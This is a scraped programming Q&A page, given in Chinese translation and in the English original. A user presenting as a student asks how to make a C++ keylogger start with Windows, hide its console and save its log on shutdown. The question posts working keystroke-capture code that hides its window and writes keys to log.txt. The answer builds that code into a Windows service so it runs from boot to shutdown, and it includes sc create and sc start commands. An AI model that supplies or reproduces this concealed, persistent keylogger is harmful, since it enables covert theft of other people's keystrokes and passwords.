当Windows系统启动时,我的C++程序应该如何激活?我该如何做?

huangapple go评论54阅读模式
英文:

when a windows system turn on. my C++ program should activate? how can I do that?

问题

我是一名软件工程师学生。我需要做一个关于C++中键盘记录程序的演示,其中三个主要点是:

  1. 此应用程序应在Windows系统运行时工作。
  2. 隐藏控制台应用程序。
  3. 在关闭系统之前自动保存文本文件。

我已完成第二点。

#include <iostream>
#include <windows.h>
#include <fstream>
#define WINDOWS_LEAN_AND_MEAN
using namespace std;

int main() {
    int i;
    char j;
    char count;
    ofstream file("log.txt");
    ofstream acii("acii.txt");
    while (true) {
        ShowWindow(GetConsoleWindow(), SW_HIDE);
        for (i = 8; i <= 255; i++) {
            if (GetAsyncKeyState(i) == -32767) {
                acii << i << " ";
                if (i >= 65 && i <= 90 || i >= 48 && i <= 57) {
                    j = i;
                    file << j;
                }
                else if (i == 16) {
                    file << " [SHIFT] ";
                }
                else if (i == 8) {
                    file << " [BACK_SPACE] ";
                }
                else if (i == 32) {
                    file << " [SPACE] ";
                }
                else if (i == 17) {
                    file << " [CTRL] ";
                }
                else if (i == 13) {
                    file << " [ENTER] ";
                }
                else if (i == 190) {
                    file << " . ";
                }
            }
        }
    }
    return 0;
}

请注意,这是一个关于键盘记录的程序,具有一些不合法或不道德的潜在用途,使用时请小心并遵守法律和伦理规定。

英文:

** I am a software engineer student. I have to do a presentation about Key-logger program in c++ the three main points are 1- this app should work while the windows system is running. 2- hide the console application. 3- Save the text file automatically before the shutting down the system.** I have done the second point.

#include &lt;iostream&gt;
#include &lt;windows.h&gt;
#include &lt;fstream&gt;
#define WINDOWS_LEAN_AND_MEAN
using namespace std;
int main() {
	int i;
	char j;
	char count;
	ofstream file(&quot;log.txt&quot;);
	ofstream acii(&quot;acii.txt&quot;);
	while (true) {
		ShowWindow(GetConsoleWindow(), SW_HIDE);
		for (i = 8; i &lt;= 255; i++) {
			if (GetAsyncKeyState(i) == -32767) {
				acii &lt;&lt; i &lt;&lt; &quot; &quot;;
				if (i &gt;= 65 &amp;&amp; i &lt;= 90 || i &gt;= 48 &amp;&amp; i &lt;= 57) {
					j = i;
					file &lt;&lt; j;
				}
				else if (i == 16) {
					file &lt;&lt; &quot; [SHIFT] &quot;;
				}
				else if (i == 8) {
					file &lt;&lt; &quot; [BACK_SPACE] &quot;;
				}
				else if (i == 32) {
					file &lt;&lt; &quot; [SPACE] &quot;;
				}
				else if (i == 17) {
					file &lt;&lt; &quot; [CTRL] &quot;;
				}
				else if (i == 13) {
					file &lt;&lt; &quot; [ENTER] &quot;;
				}
				else if (i == 190) {
					file &lt;&lt; &quot; . &quot;;
				}
			}
		}
	}
	return 0;
}

答案1

得分: 0

使用[这里][1]提供的代码,由SuperG280在评论中分享,您只需将您的键盘记录代码插入到ServiceWorkerThread()函数中。在while循环之前打开文件,在之后关闭它们。当服务结束时,例如计算机关闭时,while循环会退出。

#include <iostream>
#include <windows.h>
#include <fstream>
#include <tchar.h>
#define WINDOWS_LEAN_AND_MEAN

using namespace std;

SERVICE_STATUS        g_ServiceStatus = { 0 };
SERVICE_STATUS_HANDLE g_StatusHandle = NULL;
HANDLE                g_ServiceStopEvent = INVALID_HANDLE_VALUE;

VOID WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
VOID WINAPI ServiceCtrlHandler(DWORD);
DWORD WINAPI ServiceWorkerThread(LPVOID lpParam);

#define SERVICE_NAME  _T("My Sample Service")

int _tmain(int argc, TCHAR* argv[])
{
    OutputDebugString(_T("My Sample Service: Main: Entry"));

    SERVICE_TABLE_ENTRY ServiceTable[] =
    {
        {SERVICE_NAME, (LPSERVICE_MAIN_FUNCTION)ServiceMain},
        {NULL, NULL}
    };

    if (StartServiceCtrlDispatcher(ServiceTable) == FALSE)
    {
        OutputDebugString(_T("My Sample Service: Main: StartServiceCtrlDispatcher returned error"));
        return GetLastError();
    }

    OutputDebugString(_T("My Sample Service: Main: Exit"));
    return 0;
}

VOID WINAPI ServiceMain(DWORD argc, LPTSTR* argv)
{
    DWORD Status = E_FAIL;

    OutputDebugString(_T("My Sample Service: ServiceMain: Entry"));

    g_StatusHandle = RegisterServiceCtrlHandler(SERVICE_NAME, ServiceCtrlHandler);

    if (g_StatusHandle == NULL)
    {
        OutputDebugString(_T("My Sample Service: ServiceMain: RegisterServiceCtrlHandler returned error"));
        goto EXIT;
    }

    // 告诉服务控制器我们正在启动
    ZeroMemory(&g_ServiceStatus, sizeof(g_ServiceStatus));
    g_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
    g_ServiceStatus.dwControlsAccepted = 0;
    g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
    g_ServiceStatus.dwWin32ExitCode = 0;
    g_ServiceStatus.dwServiceSpecificExitCode = 0;
    g_ServiceStatus.dwCheckPoint = 0;

    if (SetServiceStatus(g_StatusHandle, &g_ServiceStatus) == FALSE)
    {
        OutputDebugString(_T("My Sample Service: ServiceMain: SetServiceStatus returned error"));
    }

    /*
     * 在这里执行启动服务所需的任务
     */
    OutputDebugString(_T("My Sample Service: ServiceMain: Performing Service Start Operations"));

    // 创建用于稍后等待的停止事件。
    g_ServiceStopEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
    if (g_ServiceStopEvent == NULL)
    {
        OutputDebugString(_T("My Sample Service: ServiceMain: CreateEvent(g_ServiceStopEvent) returned error"));

        g_ServiceStatus.dwControlsAccepted = 0;
        g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
        g_ServiceStatus.dwWin32ExitCode = GetLastError();
        g_ServiceStatus.dwCheckPoint = 1;

        if (SetServiceStatus(g_StatusHandle, &g_ServiceStatus) == FALSE)
        {
            OutputDebugString(_T("My Sample Service: ServiceMain: SetServiceStatus returned error"));
        }
        goto EXIT;
    }

    // 告诉服务控制器我们已经启动了
    g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
    g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
    g_ServiceStatus.dwWin32ExitCode = 0;
    g_ServiceStatus.dwCheckPoint = 0;

    if (SetServiceStatus(g_StatusHandle, &g_ServiceStatus) == FALSE)
    {
        OutputDebugString(_T("My Sample Service: ServiceMain: SetServiceStatus returned error"));
    }

    // 启动执行服务的主要任务的线程
    HANDLE hThread = CreateThread(NULL, 0, ServiceWorkerThread, NULL, 0, NULL);

    OutputDebugString(_T("My Sample Service: ServiceMain: Waiting for Worker Thread to complete"));

    // 等待我们的工作线程退出,有效地发出服务需要停止的信号
    WaitForSingleObject(hThread, INFINITE);

    OutputDebugString(_T("My Sample Service: ServiceMain: Worker Thread Stop Event signaled"));

    /*
     * 执行任何清理任务
     */
    OutputDebugString(_T("My Sample Service: ServiceMain: Performing Cleanup Operations"));

    CloseHandle(g_ServiceStopEvent);

    g_ServiceStatus.dwControlsAccepted = 0;
    g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
    g_ServiceStatus.dwWin32ExitCode = 0;
    g_ServiceStatus.dwCheckPoint = 3;

    if (SetServiceStatus(g_StatusHandle, &g_ServiceStatus) == FALSE)
    {
        OutputDebugString(_T("My Sample Service: ServiceMain: SetServiceStatus returned error"));
    }

EXIT:
    OutputDebugString(_T("My Sample Service: ServiceMain: Exit"));

    return;
}

VOID WINAPI ServiceCtrlHandler(DWORD CtrlCode)
{
    OutputDebugString(_T("My Sample Service: ServiceCtrlHandler: Entry"));

    switch (CtrlCode)
    {
    case SERVICE_CONTROL_STOP:

        OutputDebugString(_T("My Sample Service: ServiceCtrlHandler: SERVICE_CONTROL_STOP Request"));

        if (g_ServiceStatus.dwCurrentState != SERVICE_RUNNING)
            break;

        /*
         * 在这里执行停止服务所需的任务
         */

        g_ServiceStatus.dwControlsAccepted = 0;
        g_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
        g_ServiceStatus.dwWin32ExitCode = 0;
        g_ServiceStatus.dwCheckPoint = 4;

        if (SetServiceStatus(g_StatusHandle, &g_ServiceStatus) == FALSE)
        {
            OutputDebugString(_T("My Sample Service: ServiceCtrlHandler: SetServiceStatus returned error"));
        }

        // 这将发出工作线程开始关闭的信号
        SetEvent(g_ServiceStopEvent);

        break;

    default:
        break;
    }

    OutputDebugString(_T("My Sample Service: ServiceCtrlHandler: Exit"));
}

DWORD WINAPI ServiceWorkerThread(LPVOID lpParam)
{
    OutputDebugString(_T("My Sample Service: ServiceWorkerThread: Entry"));

    ofstream file("log.txt");
    ofstream acii("acii.txt");

    // 定期检查服务是否被要求停止
    while (WaitForSingleObject(g_ServiceStopEvent, 0) != WAIT_OBJECT_0)
    {
        int i;
        char j;

        ShowWindow(GetConsoleWindow(), SW_HIDE);
        for (i = 8; i <= 255; i++) {
            if (GetAsyncKeyState(i) == -32767)
            {
                acii << i << " ";
                if (i >= 65 && i <= 90 || i >= 48 && i <= 57)
                {
                    j = i;
                    file << j;
                }
               

<details>
<summary>英文:</summary>

Using the code provides [here][1], shared by SuperG280 in the comments, you would simply insert your keylog code inside the ServiceWorkerThread() function.  Open the files before the while loop, and close them afterwords.  The while loop exits when the service is ended, such as when the computer is shutdown.

&lt;!-- language: lang-cpp --&gt;

#include <iostream>
#include <windows.h>
#include <fstream>
#include <tchar.h>
#define WINDOWS_LEAN_AND_MEAN

using namespace std;

SERVICE_STATUS g_ServiceStatus = { 0 };
SERVICE_STATUS_HANDLE g_StatusHandle = NULL;
HANDLE g_ServiceStopEvent = INVALID_HANDLE_VALUE;

VOID WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
VOID WINAPI ServiceCtrlHandler(DWORD);
DWORD WINAPI ServiceWorkerThread(LPVOID lpParam);

#define SERVICE_NAME _T("My Sample Service")

int _tmain(int argc, TCHAR* argv[])
{
OutputDebugString(_T("My Sample Service: Main: Entry"));

SERVICE_TABLE_ENTRY ServiceTable[] =
{
{SERVICE_NAME, (LPSERVICE_MAIN_FUNCTION)ServiceMain},
{NULL, NULL}
};
if (StartServiceCtrlDispatcher(ServiceTable) == FALSE)
{
OutputDebugString(_T(&quot;My Sample Service: Main: StartServiceCtrlDispatcher returned error&quot;));
return GetLastError();
}
OutputDebugString(_T(&quot;My Sample Service: Main: Exit&quot;));
return 0;

}

VOID WINAPI ServiceMain(DWORD argc, LPTSTR* argv)
{
DWORD Status = E_FAIL;

OutputDebugString(_T(&quot;My Sample Service: ServiceMain: Entry&quot;));
g_StatusHandle = RegisterServiceCtrlHandler(SERVICE_NAME, ServiceCtrlHandler);
if (g_StatusHandle == NULL)
{
OutputDebugString(_T(&quot;My Sample Service: ServiceMain: RegisterServiceCtrlHandler returned error&quot;));
goto EXIT;
}
// Tell the service controller we are starting
ZeroMemory(&amp;g_ServiceStatus, sizeof(g_ServiceStatus));
g_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
g_ServiceStatus.dwControlsAccepted = 0;
g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
g_ServiceStatus.dwWin32ExitCode = 0;
g_ServiceStatus.dwServiceSpecificExitCode = 0;
g_ServiceStatus.dwCheckPoint = 0;
if (SetServiceStatus(g_StatusHandle, &amp;g_ServiceStatus) == FALSE)
{
OutputDebugString(_T(&quot;My Sample Service: ServiceMain: SetServiceStatus returned error&quot;));
}
/*
* Perform tasks neccesary to start the service here
*/
OutputDebugString(_T(&quot;My Sample Service: ServiceMain: Performing Service Start Operations&quot;));
// Create stop event to wait on later.
g_ServiceStopEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
if (g_ServiceStopEvent == NULL)
{
OutputDebugString(_T(&quot;My Sample Service: ServiceMain: CreateEvent(g_ServiceStopEvent) returned error&quot;));
g_ServiceStatus.dwControlsAccepted = 0;
g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
g_ServiceStatus.dwWin32ExitCode = GetLastError();
g_ServiceStatus.dwCheckPoint = 1;
if (SetServiceStatus(g_StatusHandle, &amp;g_ServiceStatus) == FALSE)
{
OutputDebugString(_T(&quot;My Sample Service: ServiceMain: SetServiceStatus returned error&quot;));
}
goto EXIT;
}
// Tell the service controller we are started
g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
g_ServiceStatus.dwWin32ExitCode = 0;
g_ServiceStatus.dwCheckPoint = 0;
if (SetServiceStatus(g_StatusHandle, &amp;g_ServiceStatus) == FALSE)
{
OutputDebugString(_T(&quot;My Sample Service: ServiceMain: SetServiceStatus returned error&quot;));
}
// Start the thread that will perform the main task of the service
HANDLE hThread = CreateThread(NULL, 0, ServiceWorkerThread, NULL, 0, NULL);
OutputDebugString(_T(&quot;My Sample Service: ServiceMain: Waiting for Worker Thread to complete&quot;));
// Wait until our worker thread exits effectively signaling that the service needs to stop
WaitForSingleObject(hThread, INFINITE);
OutputDebugString(_T(&quot;My Sample Service: ServiceMain: Worker Thread Stop Event signaled&quot;));
/*
* Perform any cleanup tasks
*/
OutputDebugString(_T(&quot;My Sample Service: ServiceMain: Performing Cleanup Operations&quot;));
CloseHandle(g_ServiceStopEvent);
g_ServiceStatus.dwControlsAccepted = 0;
g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
g_ServiceStatus.dwWin32ExitCode = 0;
g_ServiceStatus.dwCheckPoint = 3;
if (SetServiceStatus(g_StatusHandle, &amp;g_ServiceStatus) == FALSE)
{
OutputDebugString(_T(&quot;My Sample Service: ServiceMain: SetServiceStatus returned error&quot;));
}

EXIT:
OutputDebugString(_T("My Sample Service: ServiceMain: Exit"));

return;

}

VOID WINAPI ServiceCtrlHandler(DWORD CtrlCode)
{
OutputDebugString(_T("My Sample Service: ServiceCtrlHandler: Entry"));

switch (CtrlCode)
{
case SERVICE_CONTROL_STOP:
OutputDebugString(_T(&quot;My Sample Service: ServiceCtrlHandler: SERVICE_CONTROL_STOP Request&quot;));
if (g_ServiceStatus.dwCurrentState != SERVICE_RUNNING)
break;
/*
* Perform tasks neccesary to stop the service here
*/
g_ServiceStatus.dwControlsAccepted = 0;
g_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
g_ServiceStatus.dwWin32ExitCode = 0;
g_ServiceStatus.dwCheckPoint = 4;
if (SetServiceStatus(g_StatusHandle, &amp;g_ServiceStatus) == FALSE)
{
OutputDebugString(_T(&quot;My Sample Service: ServiceCtrlHandler: SetServiceStatus returned error&quot;));
}
// This will signal the worker thread to start shutting down
SetEvent(g_ServiceStopEvent);
break;
default:
break;
}
OutputDebugString(_T(&quot;My Sample Service: ServiceCtrlHandler: Exit&quot;));

}

DWORD WINAPI ServiceWorkerThread(LPVOID lpParam)
{
OutputDebugString(_T("My Sample Service: ServiceWorkerThread: Entry"));

ofstream file(&quot;log.txt&quot;);
ofstream acii(&quot;acii.txt&quot;);
//  Periodically check if the service has been requested to stop
while (WaitForSingleObject(g_ServiceStopEvent, 0) != WAIT_OBJECT_0)
{
int i;
char j;
ShowWindow(GetConsoleWindow(), SW_HIDE);
for (i = 8; i &lt;= 255; i++) {
if (GetAsyncKeyState(i) == -32767)
{
acii &lt;&lt; i &lt;&lt; &quot; &quot;;
if (i &gt;= 65 &amp;&amp; i &lt;= 90 || i &gt;= 48 &amp;&amp; i &lt;= 57)
{
j = i;
file &lt;&lt; j;
}
else if (i == 16) {
file &lt;&lt; &quot; [SHIFT] &quot;;
}
else if (i == 8) {
file &lt;&lt; &quot; [BACK_SPACE] &quot;;
}
else if (i == 32) {
file &lt;&lt; &quot; [SPACE] &quot;;
}
else if (i == 17) {
file &lt;&lt; &quot; [CTRL] &quot;;
}
else if (i == 13) {
file &lt;&lt; &quot; [ENTER] &quot;;
}
else if (i == 190) {
file &lt;&lt; &quot; . &quot;;
}
}
}
Sleep(10);
}
file.close();
acii.close();
OutputDebugString(_T(&quot;My Sample Service: ServiceWorkerThread: Exit&quot;));
return ERROR_SUCCESS;

}


Add the service with:
&gt; sc create &quot;My Sample Service&quot; binPath= C:\SampleService.exe
Start the service with:
&gt; sc start &quot;My Sample Service&quot;
Remove the service with:
&gt; sc delete &quot;My Sample Service&quot;
[1]: https://www.codeproject.com/Articles/499465/Simple-Windows-Service-in-Cplusplus
</details>

huangapple
  • 本文由 发表于 2020年1月3日 21:20:16
  • 转载请务必保留本文链接:https://go.coder-hub.com/59579308.html
匿名

发表评论

匿名网友

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen:

确定